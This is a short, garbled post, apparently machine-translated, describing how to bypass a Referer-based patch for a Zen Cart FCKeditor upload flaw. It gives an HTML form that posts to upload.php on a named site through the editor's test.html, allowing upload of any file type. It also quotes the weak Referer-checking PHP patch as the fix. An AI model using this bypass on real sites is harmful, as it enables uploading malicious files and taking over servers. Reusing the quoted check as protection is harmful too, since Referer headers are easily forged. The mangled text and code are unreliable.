Secondary exploitation and repair after zencart editors/fckeditor vulnerability repair

Vulnerability files: editors/fckeditor/editor/filemanager/upload/php/upload. phpThe solution provided on the Internet isSolution: Delete the FCK editor and use another editor or find editors/fckeditor/editor/filemanager/upload/php/upload. the php file is in require ('config. php '); require ('util. php '); Add the following code ---------- // prevent external submission function outsidepost () {$ servername = $ _ SERVER ['server _ name']; $ sub_from = @ $ _ SERVER ['HTTP _ referer']; $ sub_len = strlen ($ servername); $ checkfrom = substr ($ sub_from, 7, $ sub_len ); if ($ checkfrom! = $ Servername) {echo ("you don't outsidepost !"); Exit ;}} outsidepost (); prevents external submissions, but does not prevent internal submissions. Method: 1, open editors/fckeditor/editor/filemanager/browser/default/connectors/test.html 2 and enter <form id = frmUpload enctype = multipart/form-data action = http: // www.2cto.com/editors/fckeditor/editor/filemanager/upload/php/upload. php? Type = Media method = post> Upload a new file: <br> <input type = file name = NewFile size = 50> <br> <input id = btnUpload type = submit value = Upload> </form> then Get Folders and Files an upload form will appear, you can upload any file type. PS: If editors and the uploaded folder are configured with the 403 500 404 permission, the exploitation will be invalid.
Fix: see the previous sentence.